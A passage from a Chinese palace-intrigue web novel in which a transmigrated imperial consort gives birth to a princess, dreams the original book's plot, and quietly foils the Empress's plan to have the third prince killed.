太后接过小满,将手放到婴儿脸旁的包袱上,完整露出小满的脸:“好!这是皇帝的第一位公主,宸贵妃有功,当赏!” 皇后温婉笑道:“宸贵妃孕期養的好,这小公主生的也白白胖胖,实在是个有福气的。” 她看着小公主,心里一松,也生出一股喜爱。 这小公主来的可太及时了。 太后问:“小公主有名字吗?” 白桃道:“娘娘方才给小公主起了小名,名叫小满。” 太后喃喃道:“小满好,这个名字好,不会太满,又有所收获。” “宸贵妃呢?” 白桃:“娘娘看过小公主,有些疲累,便先睡下了。”- 沈青得了女儿,怎么看也看不够,正兴致盎然时,却覺一阵困意袭来,便将小公主交给了白桃,让白桃带给太后皇后看。 她歉意地看了一眼纪宸。 纪宸摸着她的头道:“你刚生产完,安心睡,小满有朕这个父皇在。” 沈青笑容甜蜜,只是稍稍阖了下眼,便沉沉睡去。 原本以为一覺无夢,但意识苏醒后她便发现她处于一个虚泛的世界。 白茫茫一片,唯有中心清晰一些。 她这是做夢了。 沈青定了定神。 夢中映射出她穿越前的事,她打开一部小说,便津津有味地看了起来。 沈青视线緊随着这本书,小说的 第1章 便是選秀前夕,女主与母親的对话。 女主是陆云湄。 也就是现在被打入冷宫的嫣嬪。 沈青惊讶,但细想一下又在情理之中,陆云湄长的好,不圣母,又对不是生母的母親懂感恩,初入宫就有封號,引得皇帝注意,实在是宫鬥文女主的配置。 且陆云湄最初还被一个王爷纠缠,魅力这方面没得说。 沈青在意的是,原来她真的穿书了,就是不知她与沈家人的结局如何。 小说开始哗啦啦翻页,但奇妙的是,沈青一点都不受其影响,反而一目十行知道了剧情的发展。 起初,皇帝对女主自然是见色起意,女主知道皇帝从前的宠妃杜婕妤因为做了坏事被打入冷宫,便暗暗告诫自己不可以动心。 女主得宠后,一應算计与恶意朝她涌来,本来應该照拂她的主位娘娘惠贵嬪林氏嫉妒她,屡屡截宠,同为宠妃的玉嫔卫氏欲毁她容貌,一起进宫的楚贵人皇上对她青睐有佳。 而女主和皇帝感情的升温则发生在除夕夜,皇上撞到她与王爷的对话,被她的话所折服,渐渐倾心。 这本书女主遇到第一个棘手的敌人是玉嫔,她费了好一番功夫才将其扳倒。 之后发现皇上待楚贵人不一般,主动将生子的药丸递给了楚贵人,却隐瞒了药丸损伤母体的事实。 楚贵人生子而亡,所生皇子被抱给了德妃,李家与楚家联系紧密,并未像现实中一拍两散,而是全心全意推楚贵人所生的皇子登基。 至于李宛意,则没能生下三皇子,一心为德妃打算。 与现实不同,书中皇后并未生子,曾经怀过一个,小产没能保住,反而是贤妃,因为皇上到她宫中的次数不算少,生了大皇子。 只是她本就是皇帝的表妹,血缘关系太近,大皇子患了疯病,贤妃出现在人前总是憔悴的样子。 而二皇子,则仍是何才人生的,但因为皇后无子,这个孩子被抱養在了中宫。 后宫中,皇后与贤妃水火不容,誰也奈何不了誰,女主最初以为最紧要的是皇后与贤妃,但自从见了一面从不请安的德妃后,便产生了深深的忌惮。 有意思的是,女主后来发现,楚贵人是德妃按照皇上喜好所培养的,这让她虚惊了一场,她原以为皇帝的真爱是楚贵人,这才迟迟不敢对皇上动心。为此,女主专门去冷宫见了曾经的杜婕妤杜氏。 这为后来扳倒德妃埋下了伏笔。 女主不断升位份,最终在升到主位时,这才打算要孩子,她想孩子一出生就能亲自抚养。 这时剧情已经发展到中后期,即便有了更年轻貌美的新人进宫,也无人能动摇女主的地位,她鬥倒了跋扈的贤妃,让皇上剥夺了性情大变的皇后的宫权。 德妃得以协理六宫,便在女主临盆时准备让女主难产而死。 女主自然防范住了,并为皇帝生下龙凤胎。 德妃事情败露,推堂妹李宛意顶罪,女主生气,却无可奈何。 后来事情出现转机,女主发现,当初杜婕妤的事正是德妃陷害的,为的就是要给将会进宫的楚贵人楚秋娘铺路。 最后经过一系列复杂的布局,楚家李家也牵涉其中,女主彻底斗倒了德妃这个大BOSS。 书中的大皇子有疯病,二皇子人前胆小,人后拿宫人出气,被皇上撞见自此厌恶,三皇子生母与母妃都被赐死,他自然与皇位无缘。 而女主所生的龙凤胎,均早慧,最得皇上喜爱,其中皇子成为太子,于番外篇中登基。 将小说看完,沈青没发现自己的痕迹,很可能是杜氏被打入冷宫她就被指去了其他宫中,或是压根不存在她这个人。 小说中,有一个沈家倒是被提到了,用的是家道中落的沈氏,是女主的权臣弟弟一意孤行所娶的女子。 根据里面那个穿着素雅,长相漂亮,还是个画痴的沈家女的描述,沈青很怀疑那个人是婉妹,因为女主虽最初不同意,但后来,沈家女的弟弟中举,一路高升,这才改了态度。 而沈蕭蕭确实在科举上极有天赋。 沈家每每往宫里递信,都不忘提一句沈蕭萧如今科考到何种地步。 但因年纪小,今年也不过十二三歲,父母希望他沉淀沉淀,沈父更想沈萧萧跟他一起考。在民间,沈萧萧已经有了小文曲星的名头。 沈青覺得,书中的沈家可能没有沈青青这个人,她胎穿来了,沈家才多了一个长女,把原本的故事走向蝴蝶到了这种地步。 除此之外,文中的纪宸是活到了四五十歲,病痛缠身而亡。 在除去李家和楚家之后,有李家的死士反扑,不过即便是皇帝亲口下诏让李家灭族,然封建帝 制太深入人心,死士受命殺的却是女主。 刺殺时,女主出现在皇帝身边,死士无法下手,又面临暴露的风险,果断挥刀朝向了太后。 纪宸为了保护太后,为太后挡下了致命一刀,自己却受了贯穿后背的一刀,此后身体一直不大好。 沈青怔怔地看着小说中太后受伤后将养了一两年,原本康健的人身体迅速衰败,离开人世。 纪宸得知消息后,整个人都透着消沉。 书中关于那场刺杀的描写,是女主敏锐发现了不对,特意朝皇上走去,但心里没底并未揭发,才迟了一步又一步,太后受伤,皇帝为救太后负伤。 …… 沈青脸上湿淋淋地醒来,她的枕头也被泪水浸湿。 纪宸拿着帕子在给她擦泪。 见她醒来,紧皱的眉头才微松,语气沉闷:“朕方才怎么叫你也叫不醒。” 沈青闷闷地:“做了噩梦。” 纪宸扶她坐起来,倾身,让沈青靠在他的肩膀上:“做了什么噩梦?有朕在。” “……梦到李家的死士刺杀太后,太后受伤,皇上为了救太后也受了伤,太后没了,皇上很伤心,因为伤痛,只活了四五十岁。” 纪宸无奈:“这话,也就你敢说了。” 可他非但没觉得被冒犯,反而被沈青的直接打动了。 沈青瘪了瘪嘴:“您就当臣妾的脑子不清醒吧。” 她是穿书的,知道原本纪宸会喜歡上女主,她心里反倒没什么感觉。 觉得不过是文字,谁知道在另一个世界到底发生了没有,而她和纪宸却是实实在在互生欢喜。 原书中,即便有了女主,纪宸仍三年一選秀,两厢对比,沈青自然觉得那本书中的纪宸像个陌生人。 纪宸还没有对她爱的那么深时,就空置了后宫,所以原书中的皇帝,根本不像,也不是纪宸。 但面对太后遇刺那段剧情,无论是太后的遭遇,还是纪宸的反应,她都觉得心里闷闷的。 太后本该长命百岁,纪宸身体那么健康,也该活成一个威严的白发苍苍的老头子。 可是,怎么就死的那么早呢? 纪宸据实分析道:“李家确实有能力豢养死士,不过李嫔还在后宫,死士绕不开李嫔,朕会盯紧了李嫔,也会加强侍卫巡逻与防范。太后那里,朕会让钱继送几个会武艺的宫人,时刻注意着。” “卿卿为了朕与太后这样难过,朕很高兴,可为了卿卿不伤心,朕怎么样都要活得久些。” 沈青看向纪宸,眼中仍有水光,执拗而认真道:“若是皇上违背了诺言,臣妾就再也不信你了。” 纪宸抱着沈青,喉咙干涩,不知该说什么好,遂无言。 在沈青的梦中,他即便受了伤,也活到了四五十岁,若是不受重伤,多个二三十年应是没问题。 但他更想,沈青活得久些,再久些,看着儿女们慢慢长大,后名扬天下,有属于他们自己的故事。 纪宸转而说起另一件事:“公主的大名朕想好了,就叫纪方盈,月满亏,水满溢,方满未满,小得盈满,最合适公主。” “公主的封號朕也思量了几个,你是她的母妃,合该做主选一选。” “她是朕的第一个女儿,凤曦和元姝这两个封号朕都很喜欢,华琬与永安朕也觉得不错。” 沈青想了想:“那便叫凤曦,小满是早上生的,也恰是晨曦发动的,倒搅扰了她父皇的早朝。” 纪宸拿起沈青的手亲了亲,高兴道:“朕也最中意这个封号!” “小满很乖,消息到时,朕恰好下早朝,实在是个很好很好的宝贝。” 纪宸轻声维护。 沈青被感染到,唇边也漾出笑意。 第110章 第110章宸贵妃四日 凤曦公主的封号足以见皇上的喜愛,但有宸贵妃这个封号在前,公主封号只在前朝后宫掀起了小范围的波澜。 皇上对贵妃的宠愛,习惯着习惯着也就成自然了。 沈青得了公主,在纪宸封赏过承乾宫的宫人后,她又赏了一遍。 面对公主,两人唯嫌给的不够。 生產后的第一个月十分重要,在这期间,白桃白樱怕她累着,只让奶嬤嬤将孩子抱来看一看,或是放在她身邊。 小满非常乖巧,只有在有需要时才会扯着纤细的嗓子哭一哭,但奶嬷嬷经验丰富,知道怎样照料婴儿,小满哭的次数很少,少数几次,听得沈青心都要碎了。 沈青从未想过她的心神会时时牵挂在这样一个小家伙身上,但这种感觉不错,她的心情很好。 小孩子一天一个样,纪宸每天都来得很勤,唯恐错过小满的成长。 看完小满,纪宸便对沈青说些宫外的趣事。 有关于沈家的,有关于臣子的,还有移交到大理寺的悬案。 知道沈青喜歡案件解谜般的乐趣,纪宸特意了解了这一方面,将旧案也翻了出来。 大理寺的官員最近都战战兢兢,将查过的案子疯狂返工,生怕里面有冤假错案。 原以为是未雨绸缪,岂知真发现了两件,现下已经重新翻案。 朝中的任何事瞒不过一个年富力强的皇帝,纪宸知道后将涉事的官員按照律法惩戒,但鉴于官员们积極补漏,惩罚輕了一些。 对于纪宸来说,这是意外收获,是老天爷都在为他的宸贵妃行善积德。 沈青闻言,只是笑笑,这事讲究天时地利人和,非她一人的緣故。 若不是纪宸对朝政勤勉,百官不敢糊弄,也不会有这样的幸事发生。 沈青在五月中旬出了月子,小公主也在翌日办了满月。 之后,兰妃与陈贵嫔来承乾宫看小满就多了起来。 沈青也可以随时都能抱一抱小满,小满依偎在她懷里,显得格外依赖。 承乾宫因为小公主的到来一片歡欣。 沈青选了一日主动去坤宁宫请安。 她生產前后少有出承乾宫,加上生产那日也并未出现在人前,眾嫔妃许久不见宸贵妃,目光自然帶有打量。 心里想着,到底是生过孩子,即便養的再好,容貌也会损上两分。 但见到宸贵妃的第一眼,她们就再没升起过这个念头。 宸贵妃之前便长得好,亭亭玉立,五官出色雅致,皮肤吹弹可破,有三分弱质娇态,但更多的是姝静恬淡。 便是冒犯起来都先理亏几分。 而现在,明明是生过孩子,可该胖的地方胖了,不该胖的地方没宽分毫。 她们想了一下,宸贵妃懷孕时,肚子较其他怀孕之人就小一些,明白宸贵妃是克制饮食了,再一联想宸贵妃生产如此顺利,前后拢共一个时辰,便知道宸贵妃是知道胎儿过大容易难产,才这样做的。 至于指摘她少了小公主的营養,宸贵妃身邊的太医嬷嬷不少,以宸贵妃的谨慎,定是全都考虑周全了。 且小公主是足月生的,连太后和皇后都夸宸贵妃生的好。 如此,除了感叹宸贵妃有福还能说什么? 沈青今日脸上只敷了一层薄粉,染了显气色的口脂,她用香用的少,但考虑到身上沾了小满的奶香气,便穿了件特意熏染过的衣裳,帶着淡香。 行走间,气度威仪这块没得说。 眾嫔妃朝她行礼,她道了声免礼便坐了下来。 今日贤妃也到了,她解了禁足,李嫔并未出现。 嫔妃来齐,皇后施施然出现,敲打了众嫔妃几句,让她们懂得安分守己,不要给她与皇上添麻烦。 沈青听得面色淡淡,从前皇后拿她抬名声的事她又不是忘了。 况且在孕期,她与皇后可是相当疏离,自也没必要親親热热,保持着井水不犯河水即可。 至于李嫔的把柄,她也不会在此时递给皇后。 先不说李嫔扑腾不起来,就算李嫔起来了,三皇子立起来了,该头疼的也是皇后。 实在没必要费劲对付李嫔,为皇后做嫁衣。 而贤妃则半阖着眼,在长春宫禁闭的日子,她除了抚养二皇子,也将所有的人和事从头到尾梳理了一遍。 她与皇后已经是水火不容。 皇后怀孕时,她抱着恶毒心思算计过皇后,皇后恨毒了她,她也不爽皇后。 皇后安插一个何才人在她身邊不必再说,除此之外她与皇后私底下的小动作也不少。 桩桩件件生怕对方太过舒心如意,早没了握手言和的可能。 而她与宸贵妃的交集则都在明面上的针锋相对,她一被禁足,宸贵妃马不停蹄去讨好太后,生怕旁人看不出她的意思。 当时她在长春宫,听到这个消息自然气愤不已,都已经怒極反笑了,顿时意识到了太后对她的重要性。 这不,一解足, 她首先去的不是乾清宫唤起表哥的良心,道一道苦楚,免得皇上忘了她,而是先去了慈宁宫,对太后嘘寒问暖,装也要装出个十足贴心的模样。 宸贵妃更喜歡没做过恶事的人,譬如兰妃、陈贵嫔,她与宸贵妃不可能好好坐下来聊上几句。 或者说,宸贵妃的目光都懒得落到她身上。 而随着身边说话的人一个个离去,兜兜转转,蒋美人重新回到了她身边,宸贵妃讨好得了太后,蒋美人在太后面前也得往后靠靠了。 贤妃现在只想将二皇子抚养好,最后让皇上封二皇子一个富贵闲王,当然,课业也不能太松懈,说不定未来就捡漏了呢? 这一禁足,将贤妃争斗的心气儿都散没了。 皇后自然知道她们三的不和,但她乐于维护这个局面,她更在意的,仍是大皇子,仍是对大皇子有威胁的三皇子。 后宫如水一般沉静,但底下多的是暗流。 请安结束,沈青径直回了承乾宫。 她让人抱着小满随她去了一趟慈宁宫,她想小满再多一个人喜爱。 时间如梭,不久前,小满仍是襁褓中的婴儿,然而一晃而过,小满已经开始牙牙学语了。 沈青恢复骑射,抱起小满仍觉得輕松。 在小满会叫娘与父后,沈青与纪宸带着小满回了一趟沈家。 沈家已经成为皇商,其中自然少不了纪宸的扶持,但另一方面也能看出,沈秀秀实在是块经商的料。 沈母李雁驚喜地看着沈青,自己的女儿自然是怎么看也看不够:“变化大了,但看得出,没受苦,没受气。” 纪宸总算知道沈青有时候说话是随了谁了。 沈青娇声唤了声娘。 李雁很是受用,紧接着,她的目光落到沈青怀里软糯可爱的小孩身上:“这是凤曦公主吧?” 沈青笑道:“是,她叫小满,现在只会说几个简单的字。” 李雁抱过来,小满只看了沈青一眼,便安静地拿着手中的玩具。 沈青这次回来,除了将小满带回来让父母看一看,便是见见蓉妹与婉妹。 沈秀秀已经成親,婚事沈青没插手,沈秀秀的妻子是与他情投意合的女子,婚后也琴瑟和鸣。 倒是蓉妹与婉妹,已经十八岁,却迟迟未婚。 一个想天南地北地去闯荡,一个沉迷画画,有时候连饭都忘了吃,更是深山老林的扎根,为此,沈家在风景秀丽的地方别院有了好几个。 沈青想到原书中婉妹的姻緣,不禁有些发愁。 蓉妹与婉妹现如今在京城。 沈青旁敲侧击地问婉妹:“婉妹,最近你身边有没有出现一个姓陆的人?” 沈婉婉还没细想,沈蓉蓉便道:“小妹身边没有,小弟身边却有一个,是他的同窗,比小弟大个四五岁。” 沈婉婉疑惑:“我怎么不知道?” “没有查过身世,小弟怎么敢往家里引,可一旦调查了,这点同窗情谊便没了。” 他们家今时不同往日,阿姊在宫里当贵妃,必不可免得罪人或遭人嫉妒,万一有谁跟宫里的娘娘沾親带故的,蓄意接近沈家人呢? 尤其是小妹,太单纯了,没有见过人心险恶,反倒是小弟,心黑黑的。 沈青与蓉妹碰了下拳头:“机敏!” 若是这样,婉妹还能和原书女主的权臣弟弟修成正果,那说明他们的缘分到了,她也不必枉做恶人。 沈婉婉淡定地点了点头。 之后,沈青与沈蓉蓉独处时,只见平日大方的蓉妹期期艾艾的模样,她便觉出了不简单。 果然,她听见蓉妹问:“阿姊,如果说,有一个人,我喜欢他,他不喜欢我,而有一个人,我有点喜欢他,他同时也很喜欢我。我该怎么办?” 沈青庆幸自己此时没喝水。 蓉妹这件事的棘手程度不亚于婉妹。 她给不出答案,只道:“顺从本心。” 离开沈家时,小满在李雁的怀里,突然出声喊道:“祖,祖祖!” 李雁红光满面,不枉她在小公主身上花费的心思。 沈青和纪宸都有些嫉妒,但面上仍是云淡风轻的模样。 他们从小满开始说话时就引导着她要叫娘亲和父皇,最终小满只会说娘和父,他们就已经很驚喜了,今日也存着炫耀的心思,小满也极给面子在众人都在的时候唤了娘与父,惹得众人艳羡。 纪宸将小满抱回来,小满望向沈青,她此时说话的欲望强烈,便出声唤道:“母妃!” 语气稚嫩,但吐字清晰。 沈青惊喜地看向小满,她从未教小满唤过母妃,觉得不够亲近,她能这样喊,只能是有人特意教了。 她的目光移向纪宸,纪宸唇边含笑。 小满继续转向纪宸,拍着手道:“爹爹!” 纪宸愣神,便见沈青挑眉,当下还有什么不明白的? 在回皇宫的马车上,小满玩了一个游戏,她亲母妃的脸蛋一下,母妃亲父皇脸颊一下,父皇亲回母妃,母妃再亲回她来。 小满被逗得咯咯直笑。【你现在阅读的是 】 110-120 第111章 第111章宸贵妃五日 小滿年纪小,正是好奇的时候,沈青常带她去禦花园。 三月,嫔妃多来禦花园赏景。 “臣妾参见宸贵妃。” 沈青坐在凉亭内,看着闻喜在带小滿玩乐,回过头,见是章贵嫔,便笑道:“快些免礼,来一起坐。” 章贵嫔露出笑意,坐在沈青手旁的位置。 她见沈青兴致盎然地看着小公主,叹道:“小公主这个年纪,正是无忧无虑的时候,真好。” 沈青眉梢微动,看向章贵嫔,见她眉间有几分萧索。 便对章贵嫔身邊的两名宫人道:“小公主喜欢粉海棠,本宫这里脱不开人手,你们两个去折几支,要多些,折好的来,不許糊弄!” 章贵嫔眼风一扫:“宸贵妃吩咐,还不快去。” 两名宫人顿时从亭子内離开。 亭子内只剩了承乾宫的宫人。 沈青看向章贵嫔,章贵嫔倏地握住她的手:“娘娘!” 沈青扫了宫人一眼:“你们也退下,去照看小公主。” 宫人称是。 她只留了白桃在身侧。 见此,章贵嫔说话便全没了顾忌,她道:“臣妾不想谋害皇嗣,求娘娘救救臣妾。” 一瞬间,沈青想了許多。 最终化为一句感叹,皇后终于要对三皇子出手了。 三皇子的生母行事不光彩,但三皇子的父亲畢竟是皇帝,光这一点就可以保他除非是他自己犯错,否则皇上绝不可能无视他,打压他。 这就导致大皇子如今仍被三皇子压上一头。 不是说大皇子经营名声没有用,但畢竟都是五六岁的小儿,最先关注的肯定是才智。 而皇室中的孩子都早慧,三皇子又经历了巨变,便更加锋芒毕露,想获得皇上的认可。 皇后可不就为大皇子着急。 可她疼大皇子,不忍逼迫大皇子,加上章贵嫔是她的人,三皇子又是章贵嫔在養,能做的手脚就多了。 章贵嫔见沈青听到这句话仍是沉稳的样子,知道宸贵妃心里有成算。 便继续道:“三皇子身邊伺候的宫人由皇上换了一遍,皇后插不上人手,便将主意打到了臣妾这里,要臣妾在三皇子来向臣妾问安时做点手脚。” “让三皇子……病逝。”她的这句话,声音小的几乎要凝神才能听得见。 沈青从章贵嫔的口型,猜到了皇后是要三皇子病逝。 章贵嫔的声音转而缓缓向上攀升:“可谋害皇嗣是死罪,重则抄家灭族,家里送臣妾进宫为妃,是要助家族一臂之力,而非日日担忧着事情败露,牵連家族。” “臣妾死了没什么要紧,可章家何其无辜!” 章贵嫔不覺得三皇子病逝,皇上会查不出证据。 她不敢拿家族来赌那万分之一的成功。 她从未想过背叛皇后,毕竟皇后待她宽容大度,有这么个主子追随着是她的幸运,所以她也在极力滿足着皇后的要求。 但现在,章贵嫔后悔了,她就不該接手三皇子这个烫手山芋。 她原以为,她与三皇子井水不犯河水,就能白得一个贵嫔之位。 三皇子身边有信任的宫人,有皇上派来的嬷嬷,她只需要识趣,連管教三皇子都不需要,只需做个名义上的母妃,皇上会放心,三皇子与李嫔不会记恨她,皇后也只会埋怨她的不中用。 然而,皇后为了大皇子意欲害死三皇子,却要殃及她这个池鱼。 章贵嫔真的不知道該怎么辦才好,揭发皇后她做不到,去向皇上辞去撫養三皇子的任务,又担忧皇后会覺得她不受控制,担心她暴露此事,想杀她灭口。 章贵嫔知道皇后有能让 人悄无声息病逝的手段。 李嫔原本那么健康的人,那日她远远地看了她一眼,消瘦的她都快要认不出来了。 且这种手段是查不出来的,不然李嫔早就请皇上做主了。 她想来想去,发现唯一破局之法竟在宸贵妃身上。 宸贵妃虽无宫权,但她每日都能见到皇上,就意味着她的力量比皇后都大,朝臣劝不住的事,兴许经宸贵妃一开口,皇上说不定就順从了。 前朝无数官员想走宸贵妃的门路,却苦于无门可进,无路可走。 “求娘娘发发慈悲,救救臣妾!” 沈青沉吟道:“不必惊慌,你回去后,且当作无事发生。” 章贵嫔渐渐冷静下来,她垂首,千言万语化为一句:“臣妾不胜感激,娘娘有任何事请尽管吩咐臣妾,只要不牵连章家,臣妾一定会辦到。” 沈青看向远处的小满:“本宫只希望本宫的孩子能好好的。” 结章贵嫔这个善缘,她只希望能福报到小满身上。 章贵嫔也順着沈青的视线看过去,她舒展眉头:“一定会的。” 目送章贵嫔離开,沈青等小满玩儿累了,这才抱着小满回承乾宫。 纪宸到承乾宫时,小满已经睡下了。 沈青见到纪宸,将食指放到唇边,示意他小声,便牵着他的手到了另一边。 她开门见山道:“李嫔的病一直不见好。” 沈青说李嫔,纪宸还反應了一下,这才记起李嫔是谁。 “愛妃怎提起了她?” 沈青叹道:“一时想起了,李嫔以前身子骨并不弱,怎么缠绵病榻这么久?” 【许是李家的事将她压垮了,这才久不见好。】 沈青:“……” 她低头,见纪宸一直在摩擦着她的手,知道他对此事是真的一点都不上心,态度相当敷衍。 纪宸道:“是李嫔不愿好起来罢。” 这叫什么话……沈青将手从他的手中抽出来:“今日臣妾在御花园遇见章贵嫔,她话里话外向臣妾炫耀她的三皇子。” 【章贵嫔是个老实人。】 纪宸想了想章贵嫔的为人,但又觉得沈青不会无的放矢,便顺势领会了第三层意思:“那我们也生一个。” 沈青短暂停顿了一下,立刻背过身哼了一声。 纪宸熟门熟路将沈青掰回来,开始轻声哄着:“莫要跟朕置气,当心气坏了身子,就不值当了。” 沈青用手指点着他的胸膛,声音抬高:“生生生!这哪是短时间就能生下来一个小孩的?” “章贵嫔有皇子,臣妾却没有,臣妾也不想让章贵嫔有了,可臣妾又与李嫔有旧怨,不想撫养三皇子。” 她将手一摊。 “皇上您说,这该怎么办?” 沈青有些凶,但纪宸却觉得她万分可愛,心里眼里全是她,只会重复道:“是啊,这该怎么办?” 【朕怎么能让卿卿委屈呢?】 “臣妾问您呢。”沈青拉着纪宸的衣裳往她身前靠,仰头道。 纪宸思索:“朕再给三皇子选一个本分的母妃?” 沈青抿唇:“这宫里哪有合适的?” 其他嫔妃,是能防得住皇后,还是能抗得过皇后的威逼利诱? 若换个顺着皇后心意的,她岂不是将三皇子往火坑推? 她与三皇子无冤无仇,他的宫女、生母她俱已报复到位,就没有道理再算计他一个孩子。 她若不知此事,可以不管,但知道了皇后的算计,怎么能置之不理? 但是,她若揭发皇后,势必会牵连青古,所以她不愿直接告诉纪宸,而是迂回着来。 沈青看了一眼纪宸,搅着手道:“反正三皇子都大了,不然让他出宫,到皇庄或是行宫,亦或者避暑山庄,总比呆在皇宫碍臣妾的眼好。” 纪宸正色,他了解沈青,当初沈青能让他改了三皇子名字,便知道她是个心底柔软的人。 万没有认为一个小孩碍眼。 只能是有缘故,而她今日只见了章贵嫔。 “朕回乾清宫想一想。”纪宸握住她的手,将她搂进怀里,一下一下地抚着她的背。 沈青阖眼,即便纪宸心中毫不迟疑的信任与夸赞也没让她开心起来,她想保的人太多了,便显得有些拧巴。 但老天爷给了她能听到心声的金手指,又专程送给她一场梦为她解惑,那她庇护一下旁人也是應当的。 是时候将青古送出宫,离开这个是非之地了。 不光是不想让青古陷得越来越深,也是为了她与小满。 原书中,青古死掉,皇后无人可用,这才颓势尽显,一步一步被瓦解- 回到乾清宫的纪宸,让人去查了章贵嫔那日做了什么,自然一无所获,白桃是沈青的人,对那日的事自是闭口不言,只左一句为难,又一句为难,说不敢妄言。 而章贵嫔仍是一副老实的样子,得了沈青的承诺,她吃的好睡得香,半点没察觉到皇上调查过她。 不久后,三皇子频繁梦到生母,梦中惊醒的事传遍了后宫。 在皇后还没反应过来时,纪宸下旨将三皇子送出皇宫安养。 乾清宫内,纪宸肃着脸,冷淡道:“既然李嫔想让三皇子出宫,那三皇子二十岁前便不必回来了,将此事告诉李嫔,务必要让她安心。” “安心”二字被他咬得极重。 王定心道,明白了,绝不能让李嫔安心。 但是李嫔最初目的,可能不是让三皇子出宫,而是想让三皇子回到她身边,但皇上说是,那就是。 谁让李嫔借章贵嫔之手算计了宸贵妃呢。 宸贵妃一片好心反遭算计,皇上知道后面沉如水,那一天,乾清宫的气氛跟凝住了似的,直到皇上去承乾宫看宸贵妃与小公主,这才缓了神色。 纪宸继续吩咐道:“李嫔的身子总不见好,皇后该多关照关照,以免累着皇后,便由贤妃与兰妃来协理六宫。” 沈青不爱此事他是知道的,自不敢劳烦。 王定称是。 李嫔几乎将皇后的动作暗示在了明面上,皇上也是不能容忍此事的。 李嫔是明谋,但坏就坏在牵涉了宸贵妃。 王定在心中分析着,先后跑了坤宁宫与李嫔那里将两件事办好。 连着被摔砸了两个杯子,王定拍了拍衣摆,心情却很好。 很久以前沈青对他说,人该为自己打算,他全心全意为皇上尽忠才有好出路,从前他不认同,现在他仍然不认同。 他心里偏向宸贵妃,皇上明知,却还是用他,将这两件事交与他来办。 除了他有能力,未尝没有皇上偏爱宸贵妃到了理所当然的地步。 他不比钱继早早跟着皇上,但如今,有赖于宸贵妃,他在御前的地位,比起钱继,已经不差多少了。 第112章 第112章宸贵妃六日 “皇上将协理六宫之權交给了贤妃与蘭妃?”沈青惊讶地看向白樱。 将三皇子送出宫,沈青不意外,但皇后幹的好好的,皇上怎就忽然生了分權的心思? 皇上一贯信赖皇后,这个皇后也是他扶持的,不过当初皇后能被封后,也有制衡德妃与贤妃的心思。 皇上将朝堂上的那一套搬到了后宫,发现用的順手,皇后有德妃做威胁,自此兢兢业业,事情 办的也妥帖,而德妃上面有皇后压着,无法在后宫为所欲为。 现在皇后斗倒了德妃,但皇后明面上并未犯错,纪宸也不是卸磨杀驴的人。 单看李嫔失势两年,皇上也未对皇后有任何动作便可看出。 白樱知道自家娘娘嫌麻烦,管好承乾宫便已经费了娘娘极大的精力,因此对协理六宫的事没落到娘娘身上没什么好抱怨。 白樱道:“皇上以皇后关照李嫔力不从心为由,这才讓贤妃与蘭妃娘娘协理六宫。不过王定公公将意思传达给皇后之余,又跑了一趟李嫔那里,许是这两件事有所关联。” “皇后与李嫔似很不虞,都失手碎了茶盏,茶水还溅到了王定公公身上。” 沈青沉思,那便是很不高兴了,皇后与李嫔的气度没得说,再坏的事情她们都稳得住,可这次却在御前的人面前失态了。 事情不同寻常啊。 但这跟她应该没什么关系,她提议送三皇子出宫后,三皇子恰好连着几日夢魇,一切便順利成章发生了。 等等……夢魇的时日会不会太巧了? 三月没什么特殊的日子,既不是三皇子生母的生辰,也不是三皇子的生辰,更不是李贵嫔自食恶果与李家满门抄斩的时日。 除非李贵嫔神通广大到知道三皇子会被害,这才入梦,但……可能吗? 沈青唇边牵起讽笑,她被算計了,章贵嫔也成了其中一环。 就是不知章贵嫔是无知被利用,还是特意算計。 当然,有一个办法可以试探出章贵嫔是否知情,也可以坑李嫔一把。 沈青讓白樱靠近,与她耳语了一番,这才气顺。 翌日一早,坤宁宫中。 请安已经结束,章贵嫔懷着忐忑心情,面上帶着愤懑求见皇后。 见到皇后的第一面,章贵嫔就委屈道:“皇后娘娘,一定是李嫔设计了三皇子梦魇,她想将三皇子从臣妾手中奪走。” 皇后不意外章贵嫔的愤慨。 一个膝下有皇嗣的妃子和没有皇嗣的根本不能相提并论,如今皇嗣被奪,章贵嫔地位骤降,有这般态度,再正常不过了。 皇后眉头深蹙,宫权被分,她眼中多了阴鸷。 章贵嫔有些害怕,但仍是将宸贵妃吩咐的话说了出来:“皇后娘娘,李嫔是不是早知道您吩咐臣妾的事,设计讓皇上产生懷疑?不然,皇上为何要将三皇子送走,为何要分娘娘的宫权?” “这其中定有缘由,依臣妾看,必定是李嫔在其中做鬼,坑害娘娘,也坑了臣妾。” 闻言,皇后周身的阴郁更重了。 这世上只有死人才最叫人放心,可李嫔怎么就不死呢? 皇后垂眸,淡淡道:“到底是从前的德妃,有些手段也正常。” 章贵嫔义愤填膺:“娘娘就该给李嫔一些教训!” “皇上让本宫关照李嫔,本宫如何能逾矩?” 章贵嫔沉默下来。 皇后忽然问:“那日你怎么见了宸贵妃?” 章贵嫔仍是苦大仇深的模样:“娘娘说的可是御花园那次?” 皇后点头。 章贵嫔语气帶着不满道:“那日,臣妾在御花园遇见宸贵妃,上前与宸贵妃见礼,只夸了几句小公主。倒是宸贵妃,用臣妾的宫人给小公主摘花,宸贵妃的命令谁又能违背?臣妾只得顺从,此后几日便一直未去御花园。” 皇后眼中最后一丝疑虑也没了,只喃喃着李嫔。 章贵嫔见此请辞道:“皇后娘娘,三皇子要離宫,臣妾需得回去盯着奴才们幹活,可不能把宫里的東西带走,娘娘这里,臣妾就不久留了。” 皇后擺了擺手,荠荷送章贵嫔離开坤宁宫。 出了坤宁宫,章贵嫔笑眯眯看着皇后宫中的人離开,这才抹去额前生出的冷汗。 也幸而皇后的宫权被分,不然以她和宸贵妃的接触,时间一长必定瞒不过皇后。 三皇子离宫不知道多久会回来,但至少在三皇子回来之前,她不会再被皇后吩咐做这种事了。 宫中知道三皇子离宫,皇上亲口谕令,要到二十岁才能回来的只寥寥几人。 李嫔知道,却只能死死捂住嘴,连身边的宫人都不能吐露分毫。 她不说,三皇子还能存着希望,她一说,就全完了。 但一个弱冠之年才能回宫的皇子,也基本没了争夺皇位的可能,怕是到那时,早已尘埃落定。 而一个养在宫外的皇子,又有多少钱财可供挥霍,又在前朝有多少能人可用? 她只是想让三皇子从皇后这个毒妇手底下离开,却阴差阳错害了三皇子。 既如此,她也没什么可忍让的,鱼死网破好了。 趁着三皇子年纪小,她下手狠些,也不会牵连到三皇子身上。 但这样一来,她势必不能报复皇上。 宸贵妃无子,报复了也只能泄愤,反倒会被皇上追究到底。 李嫔有些绝望,都到这个时候,她仍本能地审时度势- 贤妃与蘭妃走马上任,突然被委以重任,她们自然要摩拳擦掌好好干。 